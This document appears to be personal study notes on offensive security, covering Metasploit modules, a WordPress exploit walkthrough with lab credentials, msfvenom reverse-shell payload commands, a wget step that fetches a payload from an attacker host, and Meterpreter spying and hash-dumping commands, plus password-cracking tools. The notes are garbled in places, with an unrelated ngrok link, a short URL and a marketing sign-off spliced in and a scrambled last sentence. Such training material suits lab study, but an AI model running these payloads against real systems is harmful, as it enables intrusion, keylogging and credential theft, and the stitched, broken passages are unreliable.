System Hacking
System Hacking
Metasploit is the most widely used exploitation framework. Metasploit is a powerful tool that can support all phases of a pen etration testing engagement, from
information gathering to post-exploitation.
MSFCONSOLE
“Msfconsole“ is the primary interface to the Metasploit framework. This is the command line interface for the framework which
can be launched by typing in msfconsole in the command line. This opens up the msfconsole interface in which we can use
different Metasploit options and commands. A GUI version tool of the Metasploit framework also exists which is “ Armitage“. It
is pre-installed in Kali Linux. The advantage of using msfconsole over the GUI version is that we can run external
commands like ‘ping’, ‘ifconfig’ etc. in the interface itself and also get tab auto-completion.
Category 1: Exploit
Exploit is a piece of code that uses a vulnerability present in the target system. The exploit module is very neatly organized
and contains modules for all the known exploits for a vulnerability in any software/service.
Category 2: Auxiliary
Any module under this category is mostly used for scanning and information gathering. Modules like scanners, crawlers,
sniffers, etc. can be found here.
Category 3: Payload
Payloads are the code that will run on the target system. Exploit only leverages the vulnerability present in the system. But if
we want the exploit to have the result we would want (gaining access, installing a back door, popping up a reverse shell), we
need to use a payload.
Category 4: Post
Post contains all the modules that can be used for the post-exploitation phase.
Category 5: Encoders
The exploits or payloads we use to exploit a target system can often be blocked by the target system that is using a signatur e-
based anti-virus solution. Encoders are used to encode an exploit in the hopes of being undetected by the anti-virus.
The modules in this category are used to provide a buffer that conveys the system to do literally nothing.
Category 7: Evasion
Even if we encode the exploits or payloads, evasion techniques can also be used above it to evade antivirus software.
Examples of Metasploit
Below is a more understandable example of leveraging a vulnerability present in the WordPress site version 5.0 to access
the target system. An NMAP version scan (nmap -sV <IP>) on the target system reveals that the target system is running
WordPress version 5.0. Now let’s see some examples of the basic commands and the process used in msfconsole to exploit
the target system running WordPress 5.0.
Step 1: Searchsploit
Searchsploit is a command line search tool for Exploit-DB used to search for any publicly known exploits for a particular
operating system, application, or service running on the target system. The search result gives all the known exploit modules
Step 2: Search
Searches module names and descriptions of exploits or payloads that can be used to leverage any known vulnerability for a
given service or application. Depending on the rank of the modules returned, we can use the relevant exploit or payload and
use it for exploitation. In the below example, We also gave the kind of exploit that we wanted to use.
msf6 > search wordpress 5.0 crop image
Step 3: Use
Use command is used to select the exploit or payload module we are going to use against the vulnerable version of the
software or service. The use command lets us select the module to further be able to set parameters of the host and target
machines which can then be used for exploitation.
msf6> use exploit/multi/http/wp_crop_rce
The module to be used can also be selected with the use command followed by the number(index) at the beginning of the
search result line.
Step 4: Info
Info command gives any additional information of the module used within the context. It contains information about the exploi t
name, description of the payload, the year it was disclosed, etc.
msf6 > info
Step 5: Show
Show options is a command used to show all the parameters or environment variables that need to be set before exploiting a
target system. After the hacker selects a suitable exploit to use against the target system using the “use” command, he/she i s
required to set the IP address, port of the target system, and also username and password for authentication into the
application if the target system is running an application like WordPress. The show command shows all the required
parameters that need to be set before exploiting the target.
msf6 > show options
Step 6: Set
The set command is used in conjunction with the show command where it is used to set the necessary parameters like
LHOST, LPORT, RHOST, RPORT, username, and password. LHOST and LPORT refer to the attacker’s system’s (in this case
us) IP address and port. RHOST and RPORT refers to the victim’s IP and port.
msf6 > set LHOST 10.18.51.89
msf6 > set PHOSTS 10.10.36.242
msf6 > set USERNAME kwheel
msf6 > set PASSWORD cutiepie1
Step 7: run/exploit
This command is used to launch the exploit after successfully setting the required parameters. Depending on the payload, the
payload can pop up a reverse TCP shell or install a backdoor or gain a root shell.
msf6 > exploit
Scanning
Port Scanning
Metasploit has a number of modules to scan open ports on the target system and network. You can list potential port scanningmodules available using the search portscan command.
Search portscan
Matching Modules
================
Interact with a module by name or index, for example use 7 or use auxiliary/scanner/sap/sap_router_portscanner
msf6 >
Portscan options
You can directly perform Nmap scans from the msfconsole prompt as shown below faster:
Using Nmap from the Msfconsole prompt
As for information gathering, if your engagement requires a speedier approach to port scanning, Metasploit may not be your first choice. However, a number of modules make Metasploit a
useful tool for the scanning phase.
The scanner/discovery/udp_sweep module will allow you to quickly identify services running over the UDP (User Datagram Protocol). As you can see below, this module will not conduct an
extensive scan of all possible UDP services but does provide a quick way to identify services such as DNS or NetBIOS.
UDP scan
SMB Scans
Metasploit offers several useful auxiliary modules that allow us to scan specific services. Below is an example for the SMB.Especially useful in a corporate network would be smb_enumshares
and smb_version but please spend some time to identify scanners that the Metasploit version installed on your system offers.
SMB scan
When performing service scans, it would be important not to omit more "exotic" services such as NetBIOS. NetBIOS (Network Basic Input Output System), similar to SMB, allows computers to
communicate over the network to share files or send files to printers. The NetBIOS name of the target system can give you anidea about its role and even importance (e.g. CORP-DC, DEVOPS,
SALES, etc.). You may also run across some shared files and folders that could be accessed either without a password or protected with a simple password (e.g. admin, administrator, root, toor,
etc.).
Metasploit has a database function to simplify project management and avoid possible confusion when setting up parameter values.
You will first need to start the PostgreSQL database, which Metasploit will use with the following command:
systemctl start postgresql
Then you will need to initialize the Metasploit Database using the msfdb init command.
Starting Postgresql
msfconsole and check the database status using the db_status command.
Checking the database status
msf6 > db_status
[*] Connected to msf. Connection type: postgresql.
msf6 >
The database feature will allow you to create workspaces to isolate different projects. When first launched, you should be inthe default workspace. You can list available workspaces using the
workspace command.
Listing workspaces
msf6 > workspace
* default
msf6 >
The database feature will allow you to create workspaces to isolate different projects. When first launched, you should be inthe default workspace. You can list available workspaces using the
workspace command.
Listing workspaces
msf6 > workspace
* default
msf6 >
Adding a workspace
msf6 > workspace -a tryhackme
[*] Added workspace: tryhackme
[*] Workspace: tryhackme
msf5 > workspace
default
Changing workspaces
msf6 > workspace
default
* default
msf6 >
Exploitation
You can search exploits using the searchcommand, obtain more information about the exploit using the infocommand, and launch the exploit using exploit. While the process itself is simple,
remember that a successful outcome depends on a thorough understanding of services running on the target system.
Most of the exploits will have a preset default payload. However, you can always use theshow payloads command to list other commands you can use with that specific exploit.
The sessions command will list all active sessions. The sessionscommand supports a number of options that will help you manage sessions better.
Msfvenom, which replaced Msfpayload and Msfencode, allows you to generate payloads.
Msfvenom will allow you to access all payloads available in the Metasploit framework. Msfvenom allows you to create payloads in many different formats (PHP, exe, dll, elf, etc.) and for many
different target systems (Apple, Windows, Android, Linux, etc.).
Encoders
Contrary to some beliefs, encoders do not aim to bypass antivirus installed on the target system. As the name suggests, theyencode the payload. While it can be effective against some
antivirus software, using modern obfuscation techniques or learning methods to inject shellcode is a better solution to the problem. The example below shows the usage of encoding (with
the -e parameter. The PHP version of Meterpreter was encoded in Base64, and the output format was raw.
Handlers
Similar to exploits using a reverse shell, you will need to be able to accept incoming connections generated by the MSFvenompayload. When using an exploit module, this part is automatically
handled by the exploit module, you will remember how the payload options title appeared when setting a reverse shell. The term commonly used to receive a connection from a target is
'catching a shell'. Reverse shells or Meterpreter callbacks generated in your MSFvenom payload can be easily caught using a handler.
The following scenario may be familiar; we will exploit the file upload vulnerability present in DVWA (Damn Vulnerable Web Application). For the exercises in this task, you will need to
replicate a similar scenario on another target system, DVWA was used here for illustration purposes. The exploit steps are;
1. Generate the PHP shell using MSFvenom
2. Start the Metasploit handler
3. Execute the PHP shell
MSFvenom will require a payload, the local machine IP address, and the local port to which the payload will connect. Seen below, 10.0.2.19 is the IP address of the AttackBox used in the attack
and local port 7777 was chosen.
We will use Multi Handler to receive the incoming connection. The module can be used with the use exploit/multi/handler command.
Multi handler supports all Metasploit payloads and can be used for Meterpreter as well as regular shells.
To use the module, we will need to set the payload value (php/reverse_php in this case), the LHOST, and LPORT values.
The .elf format is comparable to the .exe format in Windows. These are executable files for Linux. However, you may still need to make sure they have executable permissions on the target
machine. For example, once you have the shell.elf file on your target machine, use the chmod +x shell.elf command to accord executable permissions. Once done, you can run this file by
typing ./shell.elf on the target machine command line.
Windows
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.X.X LPORT=XXXX-f exe > rev_shell.exe
."/ipuse
PHP
msfvenom -p php/meterpreter_reverse_tcp LHOST=10.10.X.X LPORT=XXXX-f raw > rev_shell.php
ASP
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.X.X LPORT=XXXX-f asp > rev_shell.asp
Python
msfvenom -p cmd/unix/reverse_python LHOST=10.10.X.X LPORT=XXXX-f raw > rev_shell.py
➢ Create payload
➢ Run python server (python3 -m http.server 9000}
➢ Download it and run it { wget http://attackerip:9000/payload } and run is using bash
➢ Before that listen and run the meterpreter for linux linux/x86/meterpreter/reverse_tcp
Introduction to Meterpreter
Meterpreter is a Metasploit payload that supports the penetration testing process with many valuable components. Meterpreterwill run on the target system and act as an agent within a
command and control architecture. You will interact with the target operating system and files and use Meterpreter's specialized commands.
Meterpreter has many versions which will provide different functionalities based on the target system.
Meterpreter also aims to avoid being detected by network-based IPS (Intrusion Prevention System) and IDS (Intrusion Detection System) solutions by using encrypted communication withthe
server where Metasploit runs (typically your attacking machine). If the target organization does not decrypt and inspect encrypted traffic (e.g. HTTPS) coming to and going out of the local
network, IPS and IDS solutions will not be able to detect its activities.
While Meterpreter is recognized by major antivirus software, this feature provides some degree of stealth.
The example below shows a target Windows machine exploited using the MS17-010 vulnerability. You will see Meterpreter is running with a process ID (PID) of 1304; this PID will be different
in your case. We have used the getpidcommand, which returns the process ID with which Meterpreter is running. The process ID (or process identifier) is used by operating systems to identify
running processes. All processes running in Linux or Windows will have a unique ID number; this number is used to interact with the process when the need arises (e.g. if it needs to be
stopped).
Meterpreter Flavors
Meterpreter Commands
Meterpreter commands
Core commands
• background: Backgrounds the current session
• exit: Terminate the Meterpreter session Core commands will be helpful to navigate and interact with the target system. Below are some of the most commonly used. Reme mber to check all available commands running the help
• guid: Get the session GUID (Globally Unique Identifier) command once a Meterpreter session has started.
• help: Displays the help menu
• info: Displays information about a Post module
• irb: Opens an interactive Ruby shell on the current session
• load: Loads one or more Meterpreter extensions
• migrate: Allows you to migrate Meterpreter to another process
• run: Executes a Meterpreter script or Post module
• sessions: Quickly switch to another session
Networking commands
• arp: Displays the host ARP (Address Resolution Protocol) cache
• ifconfig: Displays network interfaces available on the target system
• netstat: Displays the network connections
• portfwd: Forwards a local port to a remote service
• route: Allows you to view and modify the routing table
System commands
• clearev: Clears the event logs
• execute: Executes a command
• getpid: Shows the current process identifier
• getuid: Shows the user that Meterpreter is running as
• kill: Terminates a process
• pkill: Terminates processes by name
• ps: Lists running processes
• reboot: Reboots the remote computer
• shell: Drops into a system command shell
• shutdown: Shuts down the remote computer
• sysinfo: Gets information about the remote system, such as OS
Others Commands (these will be listed under different menu categories in the help menu)
• idletime: Returns the number of seconds the remote user has been idle
• keyscan_dump: Dumps the keystroke buffer
• keyscan_start: Starts capturing keystrokes
• keyscan_stop: Stops capturing keystrokes
• screenshare: Allows you to watch the remote user's desktop in real time
• screenshot: Grabs a screenshot of the interactive desktop
• record_mic: Records audio from the default microphone for X seconds
• webcam_chat: Starts a video chat
• webcam_list: Lists webcams
• webcam_snap: Takes a snapshot from the specified webcam
• webcam_stream: Plays a video stream from the specified webcam
• getsystem: Attempts to elevate your privilege to that of local system
• hashdump: Dumps the contents of the SAM database
The getuid command will display the user with which Meterpreter is currently running. This will give you an idea of your possible privilege level on the target system (e.g. Are you an admin
level user like NT AUTHORITY\SYSTEM or a regular user?)
Migrate
Migrating to another process will help Meterpreter interact with it. For example, if you see a word processor running on thetarget (e.g. word.exe, notepad.exe, etc.), you can migrate to it and
start capturing keystrokes sent by the user to this process. Some Meterpreter versions will offer you the keyscan_start, keyscan_stop, and keyscan_dump command options to make
Meterpreter act like a keylogger. Migrating to another process may also help you to have a more stable Meterpreter session.
Hashdump
The hashdump command will list the content of the SAM database. The SAM (Security Account Manager) database stores user's passwords on Windows systems. These passwords are stored in
the NTLM (New Technology LAN Manager) format.
The "EternalBlue" is an exploit allegedly developed by the U.S. National Security Agency (N.S.A.) for a vulnerability affecting the SMBv1 server on numerous Windows systems. The SMB (Server
Message Block) is widely used in Windows networks for file sharing and even for sending files to printers. EternalBlue was leaked by the cybercriminal group "Shadow Brokers" in April 2017. In
May 2017, this vulnerability was exploited worldwide in the WannaCry ransomware attack.
/demos/butcher/index.html
https://9e37-122-161-73-149.ngrok-free.app/
https://howshorts.com-
agency@da.gd/cG4v95
Hello dear
sir/maam
Thankyou
Best regards
Team marketing
Password Attacks
• Includes Dictionary and Brute-force attacks, hash injections, phishing, Trojans, spyware, keyloggers and password guessing
• Keylogging - process of using a hardware device or software application to capture keystrokes of a user
• Active online attacks are easier to detect and take a longer time
○ Medusa
○ Hydra
○ NBNSpoof
○ Pupy
○ Metasploit
○
• Can combine "net" commands with a tool such as NetBIOS Auditing tool or Legion to automate the testing of user IDs and
passwords
Passive online - Sniffing the wire in hopes of intercepting a password in clear text or attempting a replay attack or man -in-the-middle attack
Service Port
FTP 20/21
TELNET 23
SMTP 25
HTTP 80
POP3 110
IMAPv4 143
NetBIOS 139,445
SNMP 161,162
SQLnet 1521
Offline - when the hacker steals a copy of the password file (Plaintext or Hash) and does the cracking on a separate system.
• Dictionary Attack - uses a word list to attack the password. Fastest method of attacking
○ Wordlists - A wordlist or a password dictionary is a collection of passwords stored in plain text. It's basically a text file with a
bunch of passwords in it. One popular example of wordlist is the rockyou.txt containing 14,341,564 unique passwords.
○ You also can generate your own wordlist with given parameters like length, combining letters and numbers, profiling etc.
○ Can be faster if you know parameters (such as at least 7 characters, should have a special character, etc.)
• Rainbow tables - Uses pre-hashed passwords to compare against a password hash. Is faster because the hashes are already
computed.
○ John the Ripper - Works on Unix, Windows and Kerberos; Compatible with MySQL, LDAP and MD4.
○ Hashcat - Advanced password recovery tool; Provides several options like hash modes OS's, documents, password managers...
(MD5, SHA-family, RIPE-MD, NTLM, LM, BitLocker, OSX, MD5 salted or iterated, and the list goes on).
○ Cain & Abel - Windows software; Cracks hash passwords (LM, NTLM), sniff network packets for password, sniff out for local stored
passwords, etc.
○ LOphcrack - Paid software; Extract and crack hashes; Uses brute force or dictionary attack;
○ Ophcrack - Free open-source; Cracks Windows log-in passwords by using LM hashes through rainbow tables.
○ Rainbowcrack - Rainbow tables generator for password cracking
○ Legion - Legion automates the password guessing in NetBIOS sessions. Legion scans multiple IP address ranges for Windows
shares and also offers a manual dictionary attack tool.
○ KerbCrack - Crack Kerberos passwords.
○ Mimikatz - Steal credentials and escalate privileges (Windows NTLM hashes and Kerberos tickets(Golden Ticket Attack); 'Pass -
the-hash' and 'Pass-the-ticker').
○ fgdump - Dump SAM databases on Windows machines.
○ Pwdump7 - Dump SAM databases on Windows machines.
• CHNTPW - chntpw is a software utility for resetting or blanking local passwords used by Windows NT, 2000, XP, Vista, 7, 8, 8.1
and 10. It does this by editing the SAM database where Windows stores password hashes.
is a dat .
It stores users passwords in a hashed format (in LM hash and NTLM hash). ecause a hash function iabase file
s one way, this provides some measure of security for the storage of the passwords.